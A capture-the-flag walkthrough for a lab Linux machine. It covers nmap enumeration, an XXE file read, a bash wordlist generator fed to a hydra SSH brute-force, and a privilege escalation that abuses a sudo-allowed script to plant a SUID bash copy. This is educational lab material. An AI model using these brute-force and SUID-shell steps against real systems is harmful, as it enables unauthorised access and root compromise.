HMV Yuan112 Walkthrough
This is a Linux machine with Web and SSH services enabled, We could discover a XXE vulnerability
within web homepage, which allow us to read sensitive files like /etc/passwd. We could obtain the
essential user name and the masked password of him. Then we gain the initial foothold on the system
by brust-forcing the SSH service.
We discover a interesting sudo rule that allows us to run a special script with root, leading to write arbitrary files. Then we bypass the restriction of regexp within the script by constructing a special path and control what we want to override that script. Finally, we could obtain the root shell by executing this script.
Summary
Scope
- Name: Yuan112
- Difficulty: Easy
- OS: Linux
- IP: Local VM
Learned
- XXE(XML External Entity) is the common usecase for XML exploitation.
- In Linux, the path name can be any bytes except
0x00.
Enumeration
Nmap
Overall
# Nmap 7.98 scan initiated Fri Mar 20 16:36:48 2026 as: nmap --min-rate 3000 -oN overall yuan112.hmv Nmap scan report for yuan112.hmv (192.168.1.153) Host is up (0.00013s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:D7:CF:B8 (Oracle VirtualBox virtual NIC) # Nmap done at Fri Mar 20 16:36:48 2026 -- 1 IP address (1 host up) scanned in 0.10 seconds
Detail
# Nmap 7.98 scan initiated Fri Mar 20 16:37:17 2026 as: nmap -sC -sV -O -vv -p22,80 -oN detail yuan112.hmv Nmap scan report for yuan112.hmv (192.168.1.153) Host is up, received arp-response (0.00037s latency). Scanned at 2026-03-20 16:37:17 CST for 7s PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B41ZvvydX3JHjf7mgl0F/HRQlGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC10OFbP3YU8A4ItFb8pR6dN8jr+zU1SZvfx6FWApSkTJmeLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51IVz7arFe8JShXOLu0ANNqZEXyJyWjaK+MqyOK6ZtoWdyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tUgVk5SieY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPyxT/kDKrlVcLX54sXrp0poU5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh1GidxQY7ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1VwpOz3tUDJWCpkB3K8HDk= | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI2Hl4ZEYgnoDQflo03hI6346mXex6OPxHEjxDufHbkQZVosDPFwZttA8gloBLYLtvDVo9LZZwtv7F/EIiQoIHE= | 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRLvZKpSJkETalR4sqzJOh8a4ivZ8wGt1HfdV3OMNY1 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian)) |_http-server-header: Apache/2.4.62 (Debian) |_http-title: XML Parser | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS MAC Address: 08:00:27:D7:CF:B8 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.98%E=4%D=3/20%OT=22%CT=%CU=33509%PV=Y%DS=1%DC=D%G=N%M=080027%TM OS:=69BD0744%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=109%TI=Z%CI=Z%II=I% OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5 OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6= OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O% OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0 OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N OS:%T=40%CD=S) Uptime guess: 29.473 days (since Thu Feb 19 05:16:28 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=263 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Mar 20 16:37:24 2026 -- 1 IP address (1 host up) scanned in 7.96 seconds
UDPScan
# Nmap 7.98 scan initiated Fri Mar 20 16:37:35 2026 as: nmap -sU --top-port 32 -oN udpscan yuan112.hmv Nmap scan report for yuan112.hmv (192.168.1.153) Host is up (0.00049s latency). PORT STATE SERVICE 53/udp open|filtered domain 67/udp open|filtered dhcps 68/udp open|filtered dhcpc 69/udp closed tftp 111/udp open|filtered rpcbind 123/udp open|filtered ntp 135/udp closed msrpc 136/udp closed profile 137/udp open|filtered netbios-ns 138/udp open|filtered netbios-dgm 139/udp closed netbios-ssn 161/udp open|filtered snmp 162/udp open|filtered snmptrap 445/udp open|filtered microsoft-ds 500/udp open|filtered isakmp 514/udp open|filtered syslog 520/udp open|filtered route 631/udp open|filtered ipp 996/udp closed vsinet 997/udp closed maitrd 998/udp closed puparp 999/udp closed applix 1434/udp closed ms-sql-m 1701/udp open|filtered L2TP 1812/udp open|filtered radius 1900/udp open|filtered upnp 3283/udp closed netassistant 4500/udp closed nat-t-ike 5353/udp open|filtered zeroconf 49152/udp closed unknown 49153/udp closed unknown 49154/udp closed unknown MAC Address: 08:00:27:D7:CF:B8 (Oracle VirtualBox virtual NIC) # Nmap done at Fri Mar 20 16:37:46 2026 -- 1 IP address (1 host up) scanned in 11.04 seconds
Web
I first take a closer look at the web service, then I discover a XML parser out there. I test it with the payload from Hacktricks XXE Attack. Luckily, it works!
I get two key points from the results:
- the user named
tufis a normal user which has a login shell. - there seems like a password within the comment field out there.
SSH Brust-forcing
After that I get nothing from the web directory enumeration. So I shift my focus to the SSH service.
Next, my plan is to fill in the masked password first, then try hydra to brust-force the SSH
service. Here is the simple script which I use.
mask='KQNPHFqG**JHcYJossIe' alphabet=({a..z} {A..Z} {0..9}) for a in "${alphabet[@]}"; do for b in "${alphabet[@]}"; do tmp=${mask/\*/$a} printf '%s\n' "${tmp/\*/$b}" done done
Then hydra -l tuf -P pass.txt yuan112.hmv ssh give me the credential for initial foothold.
Privilege Escalation
The fundamental information about the system I care about is following:
tuf@112:~$ id uid=1000(tuf) gid=1000(tuf) groups=1000(tuf) tuf@112:~$ cat /etc/passwd | grep 'sh$' root:x:0:0:root:/root:/bin/bash tuf:x:1000:1000:KQNPHFqG**JHcYJossIe:/home/tuf:/bin/bash tuf@112:~$ crontab -l no crontab for tuf tuf@112:~$ sudo -l Matching Defaults entries for tuf on 112: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User tuf may run the following commands on 112: (ALL) NOPASSWD: /opt/112.sh
Yeah, there's a special script called 112.sh that catches my eyes. And that script is belong to the
root and has rw permission.
#!/bin/bash input_url="" output_file="" use_file=false regex='^https://maze-sec.com/[a-zA-Z0-9/]*$' while getopts ":u:o:" opt; do case ${opt} in u) input_url="$OPTARG" ;; o) output_file="$OPTARG"; use_file=true ;; \?) echo "错误: 无效选项 -$OPTARG"; exit 1 ;; :) echo "错误: 选项 -$OPTARG 需要一个参数"; exit 1 ;; esac done if [[ -z "$input_url" ]]; then echo "错误: 必须使用 -u 参数提供URL" exit 1 fi if [[ ! "$input_url" =~ ^https://maze-sec.com/ ]]; then echo "错误: URL必须以 https://maze-sec.com/ 开头" exit 1 fi if [[ ! "$input_url" =~ $regex ]]; then echo "错误: URL包含非法字符,只允许字母、数字和斜杠" exit 1 fi if (( RANDOM % 2 )); then result="$input_url is a good url." else result="$input_url is not a good url." fi if [ "$use_file" = true ]; then echo "$result" > "$output_file" echo "结果已保存到: $output_file" else echo "$result" fi
This script could allow me to write a $output_file with -o option but need some validation. Since
that I can execute this script with root privilege and it has write permission, I could write a
special path which resolve to a SUID sh. The only thing I need to make sure of is that I have
control over that path (rwx), so /tmp is a very good target.
tuf@112:/tmp$ cat > https\:/maze-sec.com/shell << EOF > #!/bin/bash > cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash > EOF tuf@112:/tmp$ cat https\:/maze-sec.com/shell #!/bin/bash cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash tuf@112:/tmp$ sudo /opt/112.sh -u "https://maze-sec.com/shell" -o /opt/112.sh 结果已保存到: /opt/112.sh tuf@112:/tmp$ cat /opt/112.sh https://maze-sec.com/shell is not a good url.
I obtain a SUID and root belonging shell after execute this script. Then execute it with -p option I
could get the root shell.
Footnotes:
Which bypass the validation, since any bytes except 0x00 are allow for path name within Linux.
Something like https://maze-sec.com/shell.